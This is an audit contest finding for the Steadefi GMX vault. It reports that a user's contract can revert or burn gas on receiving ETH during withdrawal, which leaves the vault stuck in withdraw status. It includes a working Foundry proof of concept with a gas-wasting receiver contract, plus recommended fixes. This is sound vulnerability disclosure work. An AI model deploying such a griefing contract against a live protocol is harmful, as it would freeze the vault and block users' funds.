Steadefi
Steadefi
DeFiHardhatFoundryOracle
35,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

a malicious user can make the callback revert causing the strategy to stuck in `WITHDRAW` status without allowing the keeper to handle this situation.

ElHaj

Summary

  • a user can consume all the gas for the callback call from GMX after a Successful withdrawal which is 2000000,or just cause it to revert causing the contract to stuck in withdraw status.

Vulnerability Details

  • the vulnerability lies in the function processWithdraw() in the GMXWithdraw library. consider this flaw :

  1. the user create a withdraw request. with native token (i.e WETH). the vault then create a request withdraw in the GMX protocol and set the status to withdraw. (i'm Skipping this process because it's clear..)

  2. the GMX keeper then came and execute this request. then send the withdrawed token (WETH),then calls the callback contract Specifically afterWithdrawalExecution() function .

  3. since the status is withdraw, the function will call processWithdraw() in the GMXVault Which delegates the call to processWithdraw() function in GMXwithdrawal library.

  4. the function then check if the status is withdraw, if so it calls processWithdraw() function in GMXProcessWithdraw library,in a try,catch block.

  5. if the call did not revert, and the token user withdrawing is nativeToken (aka WETH). it Unwraped the token and send native to the user.

try GMXProcessWithdraw.processWithdraw(self) {
// If native token is being withdrawn, we convert wrapped to native
if (self.withdrawCache.withdrawParams.token == address(self.WNT)) {
self.WNT.withdraw(self.withdrawCache.tokensToUser);
// @audit : user can revert receive eth or consume all remaining gas, freeze the contract on withdraw mode.
(bool success, ) = self.withdrawCache.user.call{value: address(this).balance}("");
require(success, "Transfer failed.");
} else {
// Transfer requested withdraw asset to user
IERC20(self.withdrawCache.withdrawParams.token).safeTransfer(
self.withdrawCache.user,
self.withdrawCache.tokensToUser
);
}
........
.......
}catch (bytes memory reason){
self.status = GMXTypes.Status.Withdraw_Failed;
emit WithdrawFailed(reason);
}

  • now here where the vulnerability lies this action is after the try and inside it's block. the user in this case can use all the remaining gas (it may be a contract that implement some logic when it receive eth) for the callback or just revert receiving ETH causing a revert without resseting the status to withdraw_failed (since the revert happend inside the try block it will not get catched),and without emitting the event (so the keeper will never notice that). the withdraw from GMX remain Successful even if the callback fail since it's in try,catch block see here.and in this case no one can rest the state since it's stuck on withdraw status.waiting for GMX to callback. which will never happen again .

    if this was targeted by a user to specifically freeze the contract, he can just revert when the contract send him eth.

  • I don't know exactly how the keepers will behave in this situation.. but the only action allowed is to call processWithdraw again since the status is withdraw and in this case even if the keeper have a mechanism to detect this. he only able to call processWithdraw again .This doesn't resolve the issue.because calling it again will revert for the same reason (the user revert) each time the keeper calls it.

Poc

  • in the same test contract for withdraw here create a simple wasteGas contract :

contract wasteGas {
​
receive() payable external {
uint startingGas = gasleft();
while ( startingGas- gasleft() < 2000000) {
1 +1;
}
}
}

  • then add this function to the GMXWithdrawTest contract :

function test_POC() public {
wasteGas mal = new wasteGas();
deal(address(WETH), address(mal), 10 ether);
vm.startPrank(address(mal));
IERC20(WETH).approve(address(vault), type(uint256).max);
​
vm.deal(address(mal),1000 ether);
​
_createAndExecuteDeposit(
address(WETH),
address(USDC),
address(WETH),
1e18,
0,
SLIPPAGE,
EXECUTION_FEE
);
_createWithdrawal(address(WETH), 250e18, 0, SLIPPAGE, EXECUTION_FEE);
// process withdrawal
mockExchangeRouter.executeWithdrawal(
address(WETH),
address(USDC),
address(vault),
address(callback)
);
assertEq(uint256(vault.store().status),3);// 3 aka withdraw status .
​
}

  • also make sure to implement the correct MockExchangeRouter contract , in the function executeWithdrawal() to behave like real GMX callback , in try,catch blocks. this is the change to do :

function executeWithdrawal(
address tokenA,
address tokenB,
address vault,
address callback
) external {
address pair = uniswapFactory.getPair(tokenA, tokenB);
​
uniswapRouter.removeLiquidity(
tokenA,
tokenB,
IERC20(pair).balanceOf(address(this)),
0,
0,
vault,
block.timestamp + 1
);
// add the callback in try catch blocks like gmx , and add 2000000 gas like the steadFi stated.
try ICallback(callback).afterWithdrawalExecution{gas:2000000}(withdrawKey, withdrawalProps, eventProps){
console.log("callback executed ok");
}catch {
console.log("callback reverted");
}
​
}

  • run test :

Running 1 test for test/gmx/local/GMXWithdrawTest.t.sol:GMXWithdrawTest
[PASS] test_POC() (gas: 4538401)
Logs:
callback reverted
​
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 39.60ms
​
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
​

Impact

Tools Used

manual review
vs code

Recommendations

  • If the token is native send it in the processwithdrawa() that is in try in GMXProcessWithdraw library. so if it's failed it get catched. and the status change to withdraw_failed an the keeper then can settel the vault.

  • also Restrict the gas for this call, so user can't consume all the remaining gas for the callback causing it to revert.

Updates

Lead Judging Commences

hans Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

DOS by rejecting native token

Impact: High Likelihood: High An attacker can repeatedly force the protocol to get stuck in a not-open status. This can happen on both deposit, withdraw callback for both successful execution and failures. Will group all similar issues.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.